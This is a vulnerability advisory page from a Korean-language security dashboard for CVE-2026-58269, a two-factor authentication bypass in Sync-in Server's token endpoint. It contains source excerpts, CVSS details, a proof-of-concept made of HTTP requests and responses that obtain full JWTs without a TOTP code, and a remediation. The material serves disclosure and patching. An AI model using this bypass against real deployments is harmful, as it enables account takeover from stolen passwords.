Kestrel
대시보드로 돌아가기
CVE-2026-58269HIGH· 8.1MITRENVDGHSA대응게시일: 2026. 09. 21.수정일: 2026. 09. 22.

Sync-in Server has a complete 2FA Bypass via `POST /api/auth/token`

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

상세 설명

Affected component: Sync-in Server v2.3.0, POST /api/auth/token (auth.controller.ts:50-55).

Required attacker capability: Valid username and password for a 2FA-enabled account.

Summary

POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.

The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled when server-side TOTP is enabled.

Details

The token endpoint at auth.controller.ts:50-55 uses AuthLocalGuard (password-only) and calls getTokens() directly:

text
1// auth.controller.ts:50-55
2@Post(AUTH_ROUTE.TOKEN)
3@AuthTokenSkip()
4@UseGuards(AuthLocalGuard)
5token(@GetUser() user: UserModel): Promise<TokenResponseDto> {
6 return this.authManager.getTokens(user)
7}

getTokens() at auth.service.ts:25-39 signs and returns access and refresh JWTs. It never reads user.twoFaEnabled:

text
1// auth.service.ts:25-39
2async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> {
3 const currentTime = currentTimeStamp()
4 // ...expiration logic...
5 return {
6 [TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration),
7 [TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration),
8 // ...
9 }
10}

Compare with the login endpoint at auth.controller.ts:30-35, which calls setCookies(user, res, true). Inside setCookies() at auth.service.ts:45, the 2FA gate fires:

text
1// auth.service.ts:45
2const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled

When verify2Fa is true, setCookies() issues only a restricted ACCESS_2FA token and requires the user to complete POST /api/auth/2fa/login/verify before receiving full session cookies. The token endpoint has no equivalent gate.

PoC

Prerequisites

  • A Sync-in instance with TOTP 2FA enabled server-wide.
  • A user account with 2FA enrolled (the target).
  • The target's valid login and password, but not the TOTP secret or current TOTP code.

Steps

  1. Enable 2FA on the target account. Log in as the target user, navigate to Settings, and enable TOTP two-factor authentication.

  2. Confirm normal login requires 2FA. Log out. Log back in with the target's credentials. The UI presents a TOTP code prompt before granting access, and the API response contains only token.access_2fa_expiration (a restricted partial token):

text
1POST /api/auth/login
2{"login":"test","password":"..."}
3
4Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}}
  1. Bypass 2FA via the token endpoint. Send the same credentials to /api/auth/token:
text
1POST /api/auth/token
2{"login":"test","password":"..."}
3
4Response:
5{
6 "access": "eyJhbGciOiJIUzI1NiIs...",
7 "refresh": "eyJhbGciOiJIUzI1NiIs...",
8 "access_expiration": 1781235890,
9 "refresh_expiration": 1781248490
10}

Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.

  1. Confirm API access. Use the token on a protected endpoint:
text
1GET /api/users/me
2Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
3
4Response: {"user":{"id":16,"login":"test","email":"test@lab.local","twoFaEnabled":true,...}}

The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.

Measured observations

  • The login endpoint (/api/auth/login) correctly returns a restricted 2FA-pending response.
  • The token endpoint (/api/auth/token) returns unrestricted Bearer JWTs with the same credentials and no TOTP.
  • The returned Bearer token grants access to protected API endpoints as a fully authenticated user, though cookie-specific flows may differ.

Impact

An attacker who already knows valid credentials for a 2FA-enabled account can obtain unrestricted Bearer access and refresh JWTs in a single HTTP request, without knowing the TOTP secret or possessing the authenticator device. 2FA security is bypassed for Bearer-token API authentication.

Remediation

Gate the token endpoint behind the same 2FA policy used by the login route. After AuthLocalGuard validates the username and password, require a valid TOTP code when server-side TOTP is enabled and user.twoFaEnabled is true, before calling getTokens().

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.